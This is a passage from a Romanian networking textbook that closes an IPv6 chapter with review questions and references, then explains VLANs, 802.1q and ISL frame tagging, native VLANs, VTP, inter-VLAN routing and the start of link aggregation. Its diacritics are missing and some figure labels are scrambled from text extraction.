4.6.3 Windows
Comand ping Descriere Msoar latena pn la o adres specificat (inclusiv IPv6) Configurare adrese IPv6 pe o interfa i rute n tabela de rutare

netsh interface ipv6

4.7 ntrebri
1. 2. 3. 4. 5. IPv6, n comparaie cu IPv4, este: Intercompatibil cu IPv4 Funcioneaz la nivelul 6, pe cnd IPv4 funcioneaza la nivelul 4 Vine s nlocuiasc IPv4 Este acelasi protocol, doar c are adrese mai lungi O adres IPv6 are 32 bii 64 bii 128 bii o lungime de dimensiune variabil n IPv6 nu mai existe adrese de tip: Reea Staie Broadcast Multicast Care dintre urmtoarele sunt notaii valide pentru o adres IPv6: 2001.1.2.2/64 2001::0/32 DE:AD:00:00:BE:EF FE80::1:2::0/64 Pentru configurarea unei adrese IPv6 n Linux, este recomandat comanda: iproute2 netsh ifconfig ip

146 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

4.8 Referine
[1] Understanding IPv6, Second edition, Joseph Davies, Microsoft Press, 2008 [2] Deploying IPv6 Networks, Ciprian Popoviciu, Eric Levy-Abegnoli, Patrick Grossetete, Cisco Press, 2006 [3] http://www.cio.gov/documents/IPv6memofinal.pdf [4] http://europa.eu/rapid/pressReleasesAction.do?reference=IP/08/803 [5] http://www.vyncke.org/ipv6status/ [6] http://www.google.com/ipv6/statistics.html#tab=per-country-ipv6-adoption [7] http://en.wikipedia.org/wiki/Comparison_of_IPv6_support_in_operating_systems [8] RFC 1883 Internet Protocol, Version 6 (IPv6) Specification [9] RFC 4214 Intra-Site Automatic Tunnel Addressing Protocol (ISATAP) [10] RFC 3056 Connection of IPv6 Domains via IPv4 Clouds [11] RFC 4380 Teredo: Tunneling IPv6 over UDP through Network Address Translations (NATs) [12] RFC 6052 IPv6 Addressing of IPv4/IPv6 Translators [13] RFC 4291 IP Version 6 Addressing Architecture [14] RFC 3587 IPv6 Global Unicast Address Format [15] RFC 3927 Dynamic Configuration of IPv4 Link-Local Addresses [16] RFC 4193 Unique Local IPv6 Unicast Addresses [17] RFC 2375 IPv6 Multicast Address Assignments [18] RFC 4786 Operation of Anycast Services [19] RFC 4941 Privacy Extensions for Stateless Address Autoconfiguration in IPv6 [20] RFC 5072 IP Version 6 over PPP [21] RFC 1981 Path MTU Discovery for IP version 6 [22] RFC 3697 IPv6 Flow Label Specification [23] RFC 4443 Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (IPv6) Specification

P a g e | 147

5 Optimizarea reelelor locale


Ce se nva n acest capitol? Cine este Walter David Sincoskie a fost un inginer american n domeniul calculatoarelor. Sincoskie a instalat prima reea local bazat pe Ethernet la Laboratoarele Bell i a fost un pionier al tehnologiei voice over IP. Cercetrile sale n domeniul VoIP l-au condus la inventarea reelelor locale virtuale (VLANs). De asemenea, el este i autorul primei specificaii Local ATM. Pe la mijlocul anilor 90 att Ethernet-ul ct i stiva TCP/IP se impun drept standarde de facto n lumea networking-ului, majoritatea reelelor locale bazndu-se pe aceast combinaie de protocoale. Posednd deja un anumit grad de maturitate, care le-a permis s devin predominante, aceste tehnologii intr n faza optimizrilor. Cele mai multe nouti sunt introduse de ctre productorii de echipamente de reea, rspunznd unor cerine din pia; pentru a evita eventualele probleme de incompatibilitate i pentru a oferi o versiune oficial a protocoalelor, IEEE intervine i standardizeaz unele dintre noile invenii. ntregul proces se desfoar innd cont de doi vectori divergeni: pe de o parte, dorina de a inova i de a corecta slbiciunile specificaiilor istorice ale protocoalelor; pe de alt parte, nevoia pstrrii compatibilitii cu dispozitivele existente, care implementeaz aceste specificaii. n cadrul acestui capitol vom discuta optimizrile efectuate la nivelul doi al stivei OSI, n particular cele specifice Ethernet-ului. Designul reelelor locale bazate pe Ethernet a trecut de-a lungul timpului prin mai multe etape, evoluia topologiilor fiind strns legat de progresele tehnologice nregistrate att n domeniul mediilor de transmisie, la nivel fizic, ct i n cel al dispozitivelor de reea utilizate pentru procesarea pachetelor. Dac la nceputul anilor 90 imaginea predominant n departamentele unei companii era cea Ethernet-ului 10BASE-T peste cabluri telefonice, cu huburi deservind calculatoare i alte echipamente situate n proximitate, odat cu apariia switch-urilor i a standardelor FastEthernet era comunicaiilor half-duplex a nceput s apun, full-duplex-ul extinzndu-se rapid. Pe lng vitezele de transmisie mai mari, evoluia descris mai sus const n special n segmentarea domeniilor de coliziune. Beneficiile acestui proces sunt uor observabile: n topologiile moderne, n care un domeniu de coliziune este echivalent cu portul unui switch, o surs important de ineficien (i anume apariia coliziunilor) este eliminat, cu impact direct asupra performanei reelei. n cele ce urmeaz vom vedea c, asemenea domeniilor de coliziune, domeniile de broadcast implic anumite limitri de ordin tehnic i administrativ care mpiedic extinderea lor necontrolat, ducnd din nou la procesul de segmentare. Reelele locale virtuale, sau VLAN-urile (Virtual LANs), au aprut mai ales ca o soluie practic la aceast problem, introducnd la rndul lor o serie de concepte tehnice care vor fi expuse n continuare. O alt dezvoltare important a constat n apariia tehnologiilor de link aggregation, care ofer posibilitatea gruprii mai multor legturi fizice ntr-o singur legtur logic. Acest proces Reele locale virtuale (VLAN-uri) Rutarea inter-VLAN Legturi agregate de nivel 2 Negocierea i configurarea legturilor agregate Vulnerabiliti, atacuri i msuri de securitate pentru reele locale

148 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e mbuntete limea de band i disponibilitatea reelei, mai ales n zonele sale de backbone. VLAN-urile i tehnologiile de agregare a legturilor fizice sunt exemple timpurii ale procesului de virtualizare, att de rspndit astzi. n acest capitol vom discuta i despre securitate, mai exact despre vulnerabilitile implicite ale implementrilor de Ethernet. n versiunea iniial a standardelor autorii acestora au specificat cum trebuie s se comporte protocolul n condiii normale de funcionare, multe dintre situaiile excepionale nefiind reglementate. Odat cu trecerea timpului, practica a evideniat o serie de slbiciuni exploatate de ctre atacatori; vom analiza aici cteva dintre atacurile des ntlnite, printre care CAM table overflow, DHCP starvation i ARP Poisoning. Pentru fiecare dintre aceste atacuri vom prezenta msuri preventive de securitate.

5.1 Definirea reelelor locale virtuale


5.1.1 Limitri ale topologiilor Ethernet cu un singur domeniu de broadcast
S considerm urmtoarea topologie ca baz a discuiei referitoare la segmentarea domeniilor de broadcast (ilustrat n Fig. 5-1): avem dou departamente ale unei companii, IT i HR, situate la etaje diferite. Echipamentele fiecrui departament sunt conectate ntr-un switch, ITSw, respectiv HRSw, acestea fiind legate la rndul lor la un switch de distribuie care le conecteaz la restul reelei, DSw. Presupunem c infrastructura companiei utilizeaz cablare structurat, toate cele trei switch-uri fiind situate ntr-un rack, conectat prin intermediul unor patch-panel-uri la prizele Ethernet existente la cele dou etaje.

DSw

ITSw

HRSw

IT1

IT2

HR1

HR2

5-1 Exemplu de topologie pentru VLAN-uri Dup cum putem observa, echipamentele din cele dou departamente sunt situate n acelai domeniu de broadcast. Dac am aduga alte departamente n domeniu, conectndu-le la switch-ul de distribuie DSw, sau dac numrul de dispozitive din cele dou departamente ar depi cteva sute, utilizatorii ar observa o degradare semnificativ a performanei, din motive nu tocmai evidente. Cunoatem faptul c un cadru avnd ca adres destinaie adresa de broadcast este trimis de ctre un switch pe toate porturile sale, mai puin pe cel pe care a fost primit. Acest mod de transmisie este utilizat de mai multe protocoale de comunicaie, dintre cale cele mai importante sunt ARP i DHCP. n cazul topologiei de mai sus, un cadru broadcast de tipul DHCP discovery trimis de ctre calculatorul IT1, prin care acesta ncearc s localizeze un server de DHCP pentru a obine o adres IP, va fi procesat de ctre toate cele trei switch-uri i va ajunge la calculatoarele IT2, HR1, HR2. Frecvena cadrelor de tip broadcast n traficul general al reelei depinde liniar de numrul de dispozitive conectate, astfel nct, de la un anumit prag ncolo, plcile de reea ale dispozitivelor conectate vor irosi resurse importante pentru procesarea (urmat de ignorarea) acestui tip de cadre.

O p t i m i z a r e a r e e l e l o r l o c a l e | 149 O problem nrudit o reprezint cea a broadcast storm-urilor, situaii n care o plac de reea defect genereaz o secven continu de cadre broadcast, afectnd performana reelei. Dei aceast problem este mult mai rar ntlnit n prezent fa de acum civa ani, datorit fiabilitii sporite a echipamentelor, nu trebuie s fie subestimat, dat fiind c afecteaz ntregul domeniu de broadcast. O alt problem serioas, ns destul de rar ntlnit, este generat de prezena unui numr prea mare de echipamente n cadrul aceluiai domeniu de broadcast. Aceast problem se refer la flooding-ul cadrelor cu destinaii necunoscute de ctre switch-uri: dac numrul de dispozitive este att de mare nct tabela CAM a unui switch nu le poate cuprinde adresele fizice, ajungnd n situaia de overflow, switch-ul va trimite chiar i cadrele non-broadcast pe toate porturile, n cazul n care nu gasete adresele destinaie n tabela CAM. Acest fenomen, care poate aprea n mod legitim n cadrul unei reele cu domenii de broadcast supraaglomerate i switch-uri neperformante cu tabele CAM de dimensiuni reduse, st i la baza unui atac de reea cunoscut sub numele de CAM table overflow. Pe lng consideraiile tehnice referitoare strict la performan, trebuie s lum n consideraie i problema securitii n cadrul domeniilor de broadcast. Orice interfa de reea poate fi configurat n modul promiscuous, caz n care capteaz toate pachetele primite din reeaua local; implicit, pachetele de tip broadcast i multicast vor fi disponibile tuturor asculttorilor interesai, i nu este exclus posibilitatea ca ele s conin date confideniale. Mai mult dect att, un host poate ncerca s acceseze direct toate dispozitivele din reeaua sa local, fapt care faciliteaz atacurile. De multe ori, unul dintre primii pai efectuai de hackeri const n compromiterea unei maini din reeaua intern a unei companii, urmat imediat dup aceea de scanarea subreelei mainii compromise, n cutarea unor noi inte. Plasarea diferitelor departamente ale unei companii n reele (domenii de broadcast) diferite reprezint una dintre primele i cele mai importante msuri de securitate ce trebuie implementate, stnd la baza tuturor configurrilor ulterioare precum filtrarea traficului. n exemplul de mai sus este clar c departamentele de HR i IT vehiculeaz clase de informaii diferite i au politici de acces i securitate distincte; decizia natural este de a le plasa n reele diferite. Ultima remarc a paragrafului precedent ne aduce n domeniul administrrii: pe lng cerinele de securitate care sunt specifice departamentelor, exist i alte politici aplicabile tot la acest nivel de exemplu, controlul calitii serviciilor. Departamentul IT va avea n mod uzual nevoie de mai mult lime de band dect cel de HR, nevoie ce poate fi adresat printr-o configurare specific. De asemenea, anumite grupuri de dispozitive (telefoane IP, echipamente de videoconferin) au necesiti de trafic speciale (lime de band, laten), care pot fi asigurate prin politici dedicate dup izolarea acestor echipamente ntr-o reea proprie. O ntrebare legitim este: de ce nu am folosi rutere n scopul segmentrii domeniilor de broadcast n aceste situaii? Motivele sunt numeroase: Costul: ruterele sunt n general mai scumpe dect switch-urile, ele fiind dispozitive mai sofisticate, care acioneaz la un nivel superior al stivei OSI; Latena: tocmai din cauza inteligenei superioare switch-urilor, ruterele efectueaz operaii mai costisitoare care afecteaz timpul de tranzit al pachetelor n reea; Limitarea geografic: domeniile de broadcast sunt asociate interfeelor fizice ale unui ruter, i prin urmare este dificil s grupm dispozitive din locaii diferite n aceeai reea, chiar dac acest lucru ar fi dezirabil, de exemplu, n cazul unui departament dispersat n mai multe cldiri. Ultimul punct de mai sus ne ofer justificarea reelelor locale virtuale, care au fost create n primul i n primul rnd pentru a permite decuplarea topologiei fizice a unei reele de cea logic. Aceast msur ar simplifica considerabil procesul de administrare al reelei: s ne imaginm ce se ntmpl dac, n exemplul de mai sus, jumtate dintre membrii departamentului de HR sunt mutai la etajul departamentului IT. n ipoteza n care un ruter separ cele dou departamente n reele diferite, ar trebui ca administratorul de reea s mute cablurile corespunztoare prizelor nou ocupate n switch-ul corespunztor departamentului HR. Astfel de operaiuni, care sunt destul de frecvente,

150 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e irosesc timp i pot genera erori; nu ar fi mai simplu dac am putea modifica apartenena unui dispozitiv la o reea printr-o configurare software la nivel de switch? Rspunsul este: da. Acest lucru este posibil cu ajutorul VLAN-urilor. Reelele locale virtuale (Virtual LANs - VLANs) sunt domenii de broadcast definite n software, la nivel de switch, i cuprind dispozitive care fac parte din acelai segment logic de reea, fr niciun fel de limitare geografic. Un VLAN poate include echipamente situate oriunde n cadrul reelei, att timp ct exist conectivitate ntre ele. Orice dispozitiv conectat la un VLAN primete cadrele de broadcast trimise de ceilali membri ai VLAN-ului; evident, echipamentele dintr-un alt VLAN nu vor recepiona astfel de pachete.

5.1.2 Tipuri de VLAN-uri


n momentul n care un utilizator se conecteaz la reea prin intermediul unui switch de acces, respectivul echipament trebuie s decid din ce VLAN face parte utilizatorul. n funcie de modul lor de definire, VLAN-urile se mpart n dou categorii: statice i dinamice. n cazul VLAN-urilor statice, apartenena unui utilizator la un VLAN depinde de interfaa fizic a switch-ului la care acesta este legat. Natura lor static se refer la asocierea porturilor switch-ului cu VLAN-urile existente, care este efectuat manual de ctre administratorul de reea. VLAN-urile dinamice utilizeaz un alt criteriu de apartenen, i anume adresa MAC a dispozitivului utilizatorului final. La conectarea unui echipament pe o interfa, switch-ul interogheaz o baz de date pentru a afla VLAN-ul n care s plaseze echipamentul. Aceast baz de date conine mapri ntre adresele MAC ale dispozitivelor din reea i VLAN-ul asociat lor, i trebuie gestionat manual de ctre un administrator de reea. Majoritatea reelelor din ziua de astzi implementeaz VLAN-uri statice, deoarece sunt mai uor de configurat i de monitorizat. De asemenea, nivelul lor de performan este superior VLAN-urilor dinamice, pentru c toate operaiunile se efectueaz n hardware de ctre circuite integrate ale switch-ului, cererile ctre o baz de date extern fiind destul de costisitoare. VLAN-urile dinamice au totui un avantaj major flexibilitatea, utilizatorii putnd s-i mute dispozitivele dintr-un port n altul, sau chiar dintr-o locaie ntr-alta, fr a pierde apartenena la un VLAN i fr a fi nevoie de configurri suplimentare.

5.1.3 Tipuri de legturi i identificarea cadrelor dintr -un VLAN n reea


Legturi acces i legturi trunchi
Existena VLAN-urilor ntr-o reea este transparent pentru echipamentele utilizatorilor finali; de regul, acestea sunt conectate n porturi ale switch-urilor care ofer acces la un singur VLAN. Echipamentele ataate se comport ca i cum ar fi conectate la un segment fizic oarecare al reelei, lsnd n seama dispozitivelor specializate (switch-uri, rutere) implementarea caracteristicilor de trafic specifice VLAN-urilor. Aceste tipuri de legturi care transport trafic pentru un singur VLAN poart numele de legturi acces. n cazul legturilor dintre dou switch-uri, ns, sau dintre un switch i un ruter, poate fi necesar ca pachete din VLAN-uri diferite s fie multiplexate peste aceeai interfa fizic. O asemenea legtur, care transport trafic pentru mai multe VLAN-uri printr-un singur port al unui switch, este denumit legtur trunchi. Legturile trunchi nu sunt asociate unui anumit VLAN, ele putnd transmite cadre din unul, mai multe sau chiar toate VLAN-urile. n Fig. 5-2 putem observa dou switch-uri, Sw1 i Sw2, conectate printr-o legtur de tip trunchi; cte trei calculatoare din VLAN-uri diferite (1, 2, 3) sunt legate de fiecare switch. Pentru a putea oferi conectivitate end-to-end, legtura trunchi dintre Sw1 i Sw2 trebuie s transporte trafic din toate cele trei VLAN-uri.

O p t i m i z a r e a r e e l e l o r l o c a l e | 151 Este posibil ca ntre cele dou switch-uri s folosim i trei legturi fizice dedicate, fiecare transportnd trafic dintr-un singur VLAN i funcionnd ca o legtur acces. Aceast soluie presupune ns costuri suplimentare i nu este scalabil dac n loc de trei VLAN-uri avem douzeci, este foarte probabil s rmnem fr porturi disponibile n switch-uri.
Hub9
VLAN 1 VLANs 1, 2, 3

Hub9
VLAN 1

Sw1
VLAN 2

Legtura trunchi (

Sw2
VLAN 2

VLAN 3 (

VLAN 3

Protocoale pentru etichetarea cadrelor n VLAN-uri

5-2 Multiplexarea VLAN-urilor pe o legtur trunchi 1 2

Dac traficul dintr-un VLAN ar fi limitat la nivelul switch-ului de acces, transmiterea cadrelor ctre destinaiile corecte nu ar reprezenta o problem: fiecare port poate fi asociat unui VLAN, iar un cadru primit din VLAN-ul X este trimis pe toate porturile switch-ului care fac parte din VLAN-ul X. Odat cu introducerea legturilor trunchi apare ns problema identificrii VLAN-ului din care face parte un cadru, prin examinarea datelor din antetul su. n exemplul de mai sus, Sw2 nu poate determina apartenena unui cadru primit pe legtur trunchi cu Sw1 la un anumit VLAN numai pe baza portului de intrare. Dup cum menionam mai devreme, tehnologia VLAN a fost la nceput o iniiativ a productorilor de echipamente de reea. Avnd n vedere c nu exista nc un standard oficial, fiecare dintre acetia au propus diverse mecanisme de identificare a VLAN-ului unui cadru, printre care: identificarea dup portul de intrare, identificarea dup adresa MAC surs, identificarea dup adresa IP. Din varii motive, aceste mecanisme s-au dovedit insuficiente din punct de vedere tehnic: identificarea dup portul de intrare nu funcioneaz n cazul legturilor de tip trunchi, asocierea ntre adresele MAC surs i VLAN-uri implic un overhead administrativ considerabil pentru pstrarea corespondenelor actualizate, inspectarea adresei IP a unui cadru ncalc principiul de separare a funcionalitilor ntre nivelurile OSI etc. n cele din urm, s-a ajuns la concluzia c este necesar adugarea unor cmpuri n cadrele Ethernet pentru pstrarea informaiei despre VLAN-uri. Majoritatea productorilor au venit cu specificaii proprietare pentru marcarea (tagging) cadrelor; de exemplu, Cisco a dezvoltat Inter-Switch Link (ISL) ca protocol care s propage informaia despre VLAN-uri pe legturile trunchi ntre dou switch-uri, sau ntre un switch i un ruter. ISL ncapsuleaz cadrele Ethernet, adugnd fiecruia un header i un trailer. n Fig. 5-3 putei examina formatul unui cadru ISL.

152 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

ISL Header 26 bytes

Encapslated Ethernet Frame

CRC 4bytes

DA Type User SA5-3 AAAA03 LEN HSA VLAN Formatul cadrului ISL BPDU INDEX RES Cea mai important informaie o reprezint cmpul VLAN, care stocheaz numrul VLAN-ului asociat cadrului. O consecin fireasc a direciilor diferite urmate de productori n implementarea VLAN-urilor a fost problema interoperabilitii echipamentelor: protocoale proprietare, precum Cisco ISL, puteau fi rulate numai pe dispozitivele furnizorului, iar interconectarea unor segmente de reea cu echipamente de la productori diferii putea fi problematic. n cele din urm, funcionarea VLAN-urilor n cadrul unei reele Ethernet a fost reglementat de ctre IEEE prin standardul 802.1q, publicat n 1998. IEEE a ales s modifice antetul Ethernet, adugnd un tag de 4 octei situat ntre cmpurile de adres surs i cel de tip/lungime. Modificarea este ilustrat n Fig. 5-4. 4 Bytes Destination Address Source Address 802.1Q VLAN Tag Type/Len Data Frame Check

2 Bytes

2 Bytes (Tag Control Information)

Tag User Canonical VLAN ID Protocol Priority Format (12 Bits) ID 0x8100 (3 Bits) Indicator (1 Bit) 5-4 Formatul cadrului Ethernet, cu tag-ul 802.1q Tag-ul nou introdus este format din: Tag Protocol Identifier (TPID) un cmp de 16 bii care conine valoarea 0x8100 pentru identificarea cadrului ca fiind de tip 802.1q. Avnd n vedere c acest numr este mai mare ca 1500, va fi interpretat ca tip de ctre plcile de reea Ethernet. Priority Code Point (PCP) un cmp de 3 bii care face referire la prioritate, aa cum este ea definit n IEEE 802.1p. Valorile de la 0 (best effort, prioritate minim) la 7 (prioritate maxim) pot fi folosite n implementri de QoS pentru diferenierea claselor de trafic (voce, video, date etc.). Drop Eligible (DE) un cmp de 1 bit, folosit n conjuncie cu PCP pentru a semnala c pachetul poate fi blocat n condiii de congestie a reelei. VLAN Identifier (VID) un cmp de 12 bii care conine numrul VLAN-ului asociat cadrului. Valorile 0x0000 i 0xFFFF sunt rezervate, deci n total avem 4094 de VLAN-uri disponibile. VLAN-ul 1 (care este valoarea implicit) este adesea folosit drept VLAN de management, aceasta fiind ns o convenie care poate varia de la productor la productor. Modificarea antetului Ethernet a adus i cteva probleme de compatibilitate cu dispozitivele legacy de exemplu, lungimea maxim pentru un cadru Ethernet specificat n standardul IEEE 802.3 este de 1518 octei, ns odat cu adugarea noului tag se poate ajunge la cadre de 1522 octei, care

O p t i m i z a r e a r e e l e l o r l o c a l e | 153 depesc limita admis. Pentru rezolvarea acestei anomalii, comitetul 802.3 a creat subgrupul 802.3ac, nsrcinat cu extinderea lungimii maxime a unui cadru Ethernet la 1522 de octei. Dispozitivele de reea vechi, care nu neleg standardul 802.3ac, pot respinge acest tip de cadre, denumite baby giant, sau le pot procesa cu mesaje de avertizare. Tot din motive de compatibilitate, reelele locale au fost mprite n segmente VLAN-aware, care implementeaz IEEE 802.1q i includ tag-uri VLAN n pachete, respectiv segmente VLANunaware, care implementeaz numai IEEE 802.1D i nu includ tag-uri VLAN n pachete. Cnd un cadru ajunge ntr-un segment de reea care este VLAN-aware, i se adaug un tag, de regul pe baza VLAN-ului asociat portului de intrare. n practic, staiile utilizatorilor genereaz cadre neetichetate, tag-ul cu VLAN-ul fiind adugat de ctre primul switch VLAN-aware din reea n reelele moderne, acesta este chiar switch-ul de acces la care este conectat staia. Intenia care a stat la baza crerii IEEE 802.1q a fost ca fiecare cadru transportat pe o legtur fizic de tip trunchi s aib asociat un VLAN tag. Ethernet-ul fiind totui un mediu multiacces, nu putea fi ignorat ipoteza existenei unor gazde ntre capetele trunchiului care s nu fie n stare s proceseze cadre tag-ate, de aceea standardul prevede i posibilitatea trimiterii de trafic neetichetat pe legturi trunchi. Asemenea cadre neetichetate trebuie asociate cu un VLAN de ctre switch-ul care le primete, astfel nct unii productori de echipamente, cel mai notabil fiind Cisco, au introdus conceptul de VLAN nativ. VLAN-ul nativ este utilizat pentru tot traficul neetichetat care traverseaz o legtur trunchi de tip 802.1q. Switch-urile Cisco utilizeaz VLAN-ul nativ pentru transportul cadrelor ce aparin protocoalelor de management de nivel 2 (CDP Cisco Discovery Protocol, DTP Dynamic Trunking Protocol, LACP Link Aggregation Control Protocol). Implicit, VLAN-ul nativ al unui trunchi este VLAN-ul 1, ns, pentru a adresa vulnerabiliti de securitate care permit atacuri de tip VLAN hopping, acesta poate fi modificat de administratorul de reea. Mai mult dect att, switch-urile Cisco pot fi configurate astfel nct chiar i traficul din VLAN-ul nativ s fie etichetat cu un VLAN ID. Una dintre restriciile n configurarea unei legturi trunchi pe dispozitive Cisco este c VLAN-urile native trebuie s fie identice pentru cele dou capete ale legturii. Relund una dintre topologiile anterioare n Fig. 5-5, observm ase staii din trei VLAN-uri diferite, cele dou switch-uri de acces fiind conectate printr-o legtur de tip trunchi cu VLAN nativ 1. Vom examina formatul cadrelor schimbate ntre A1 i B1, respectiv A2 i B2, pe toate segmentele reelei.
Hub9
A1 - VLAN 1 VLANs 1, 2, 3

Hub9
B1 - VLAN 1

Sw1
A2 - VLAN 2

( (

Legtura trunchi VLAN nativ 1 (

Sw2
B2 - VLAN 2

A3 - VLAN 3

B3 - VLAN 3

5-5 Marcarea cadrelor la transmiterea pe o legtur trunchi A1 i B1 sunt situate n VLAN-ul nativ al trunchiului, deci cadrele transmise de ele nu vor fi 1 2 etichetate ntre Sw1 i Sw2: A1 Sw1: MAC Dst MAC Src Lungime/Tip Date CRC

154 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e MAC B1 MAC A1 0x0800 X X Sw1 Sw2: MAC Dst MAC Src Lungime/Tip Date CRC MAC B1 MAC A1 0x0800 X X Sw2 B1: MAC Dst MAC Src Lungime/Tip Date CRC MAC B1 MAC A1 0x0800 X X A2 i B2 se afl n VLAN-ul 2, deci traficul generat de ele va fi etichetat cu un tag 802.1q peste trunchi: A2Sw1: MAC Dst MAC Src Lungime/Tip Date CRC MAC B2 MAC A2 0x0800 X X Sw1Sw2: MAC Dst MAC B2

MAC Src MAC A1

802.1q TAG TPID PCP DE VLAN ID 0x8100 x x 2

Date CRC X X

Sw2 B2: MAC Dst MAC B2

MAC Src MAC A2

Lungime/Tip 0x0800

Date X

CRC X

5.1.4 Tipuri de VLAN-uri i distribuirea lor n reea


Dup cum vom vedea n seciunea 5.4 Utilitare, configurarea VLAN-urilor statice, a legturilor de acces i a legturilor trunchi pe un switch este un proces destul de intuitiv i uor de efectuat n reele de dimensiuni mici i medii. n reelele corporate sau ale ISP-urilor, ns, existena a zeci, poate sute de switch-uri interconectate complic semnificativ procesul de administrare al VLAN-urilor. Imaginai-v cum ar fi dac, la configurarea unui nou VLAN al unui client, un operator telecom ar trebui s definesc manual VLAN-ul respectiv pe toate echipamentele din reea! Productorii de switch-uri au rezolvat aceast problem prin dezvoltarea unor protocoale care s trateze distribuirea automat a VLAN-urilor n cadrul reelei; cel mai cunoscut dintre acestea este VLAN Trunking Protocol (VTP), introdus de ctre Cisco. VTP ofer posibilitatea adugrii, tergerii i redenumirii VLAN-urilor din toat reeaua dintr-un punct central de administrare. Fig. 5-6 ilustreaz procesul de propagare a unui VLAN de pe switch-ul pe care a fost definit pe toate switch-urile din reea. Un switch care particip n procesul VTP cunoate i poate utiliza toate VLAN-urile administrate de ctre VTP. VTP trimite cadre speciale pe legturi de tip trunchi ntre switch-uri; el este organizat n domenii de administrare (management domains) cu caracteristici comune. Un switch poate aparine unui singur domeniu de administrare i n cadrul domeniului respectiv poate schimba informaii referitoare la VLAN-uri cu toi vecinii si.

O p t i m i z a r e a r e e l e l o r l o c a l e | 155

Sw2

Sw3

Hub9

Definire VLAN 7
Sw5 b9 Sw VLAN1 7 Sw7
SRV2

VLAN 7

VLAN 7 Sw1

IP

VLAN 7 VLAN 7 2

Sw4

VLAN 7
Fa 0/0

VLAN 7 Sw8
IP

Sw6

5-6 Distribuirea automat a VLAN-urilor n reea Alternativa propus de IEEE n vederea standardizrii distribuiei automate a VLAN-urilor ntr-o 192.168.0 reea este Multiple VLAN Registration Protocol (MVRP), care a aprut n amendamentul 802.1ak la Fa 0/0 standardul 802.1Q-2005. MVRP face parte dintr-un framework mai general al IEEE, Multiple 1 setarea i modificarea valorilor Registration Protocol (MRP), care permite dispozitivelor de reea pentru diverse atribute ntr-o infrastructur comun, cum ar fi identificatorii de VLAN-uri sau Cl grupurile de multicast. La fel ca i VTP-ul, MVRP permite switch-urilor s partajeze automat informaii referitoare la VLAN-uri, ajutnd la meninerea consistenei configuraiei acestora n reea n mod dinamic, pe baza setrilor introduse de administratorul de reea.

5.1.5 Rutarea ntre reele locale virtuale


Dac design-ul unei reele locale include VLAN-uri, dispozitivele dintr-un VLAN trebuie s se gseasc n aceeai subreea. Din consideraii similare, dispozitive din VLAN-uri diferite trebuie s fie plasate n subreele diferite; aceast coresponden ntre un concept de nivel 2, VLAN-urile, i unul de nivel 3, subreelele, este necesar pentru a realiza izolarea astfel nct pachetele dintr-un VLAN s nu ajung ntr-un altul. Pentru transmiterea pachetelor ntre VLAN-uri este nevoie de un echipament de nivel 3; n mod tradiional, aceast funcie revine unui ruter. Ruter-ul trebuie s aib o conexiune fizic sau logic cu fiecare VLAN pentru a putea direciona pachete ntre ele. Acest proces poart numele de interVLAN routing. VLAN 100 VLAN 200
Sw1 R1

VLAN 300

VLANs 100, 200, 300


Sw2

Trunk

R2

5-7 Rutare inter-VLAN: interfee dedicate vs. router-on-a-stick Cea mai frecvent situaie este cea n care un ruter extern este conectat la toate VLAN-urile definite pe un switch. Exist dou opiuni de implementare, una care presupune existena unor legturi fizice separate pentru fiecare VLAN (link-urile fiind n acest caz de tip acces), sau o legtur

156 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e de tip trunchi pe care sunt multiplexate mai multe VLAN-uri. n Fig. 5-7 avei ilustrate cele dou variante pentru realizarea rutrii ntre VLAN-urile 100, 200 i 300. Ca i n cazul legturilor trunchi ntre dou switch-uri, opiunea doi din figur este mai convenabil din punctul de vedere al costului, deoarece necesit o singur interfa fizic. Acest tip de configuraie poart numele de router-on-a-stick, sau one-armed-router, i implic mprirea interfeei fizice n subinterfee, fiecare dintre acestea avnd asociat o adres IP din VLAN-ul din care face parte. Avantajul folosirii unui echipament extern de tip router-on-a-stick este flexibilitatea, rolul su putnd fi ndeplinit att de un dispozitiv hardware dedicat, cum ar fi un ruter Cisco sau Juniper, dar i de o main Linux configurat corespunztor. Totui, procesul de transmitere a pachetului de la switch ctre router i napoi ctre switch este destul de ineficient, iar n reelele corporative de astzi se utilizeaz un dispozitiv cunoscut ca switch de nivel 3, care combin cele dou funcii: comutarea pachetelor la nivel 2 i rutare la nivel 3 a reelelor direct conectate (VLAN-uri).

5.2 Agregarea legturilor de nivel 2


5.2.1 Considerente generale
Odat cu progresele tehnice nregistrate de tehnologia Ethernet, limea de band disponibil utilizatorilor prin intermediul porturilor de acces ale switch-urilor crete dramatic, viteze de 100Mbps devenind ceva obinuit. Pe msur ce reelele locale devin din ce n ce mai mari, cuprinznd mai multe echipamente, iar aplicaiile folosite de ctre utilizatori necesit din ce n ce mai mult lime de band, traficul agregat al reelei crete. Drept urmare, n cele mai multe cazuri, performana unei reele locale este direct corelat cu funcionarea adecvat a porturilor de uplink, care fac legtura ntre segmentele terminale ale reelei i centrul acesteia. Cele mai importante dou aspecte care afecteaz funcionarea legturilor de uplink sunt limea de band i disponibilitatea este evident c douzeci de calculatoare cu plci de reea funcionnd la 100Mbps conectate la un switch care are un singur port de uplink, de 1Gbps, nu vor putea transmite date simultan la vitez maxim; mai mult dect att, n situaia regretabil n care legtura de uplink ar pica, toate calculatoarele ar pierde accesul n afara segmentului de reea local. 2 2 8 A B
w
3

3
Sw3

23 4 4
Sw2

Hub9

4 4

3
Sw7

5-8 Exemplu de topologie pent de nivel 2 1 ru agregarea legturilor 2 Pentru a adresa aceste probleme, o practic comun o reprezint utilizarea mai multor legturi de uplink ntre switch-uri; un exemplu ar fi chiar cele dou link-uri, pe porturile 3 i 4, ntre Sw3 i Sw2 din fragmentul de topologie de mai jos, n Fig. 5-8. La prima vedere, problemele de lime de band i disponibilitate par rezolvate: avem acum dou legturi, deci lime de band dubl i redundan n cazul n care una dintre ele cade. Din pcate, aceste legturi redundante introduc i posibilitatea unei bucle, care, dup cum am vzut, va fi tratat de STP prin nchiderea unuia dintre cele patru porturi. Dup aceast operaiune, limea de

